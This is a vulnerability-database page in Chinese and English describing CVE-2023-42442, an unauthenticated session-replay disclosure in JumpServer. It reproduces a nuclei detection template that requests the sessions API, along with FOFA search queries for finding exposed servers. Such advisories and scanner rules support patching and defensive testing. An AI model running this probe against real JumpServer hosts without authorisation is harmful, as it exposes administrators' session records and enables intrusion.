CVE-2023-42442: JumpServer > 3.6.4 - Information Disclosure

日期: 2025-08-01 | 影响软件: JumpServer | POC: 已公开

漏洞描述

JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).

PoC代码[已公开]

id: CVE-2023-42442

info:
  name: JumpServer > 3.6.4 - Information Disclosure
  author: xianke
  severity: medium
  description: |
    JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
  reference:
    - https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
    - https://github.com/Marco-zcl/POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-42442
    cwe-id: CWE-287
    epss-score: 0.88067
    epss-percentile: 0.99456
    cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2023,cve,jumpserver,exposure,fit2cloud

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/terminal/sessions/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"terminal":'
          - '"user_id":"'
          - '"account_id":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402205c963dc6546375d2470f1451638fa0a35d1f1526574c76acd036be4d98dd0e5a02205399c1b7306d818479e964047c01045d209e80fbea3163bbc66182cedf16eb0f:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-42442.yaml

相关漏洞推荐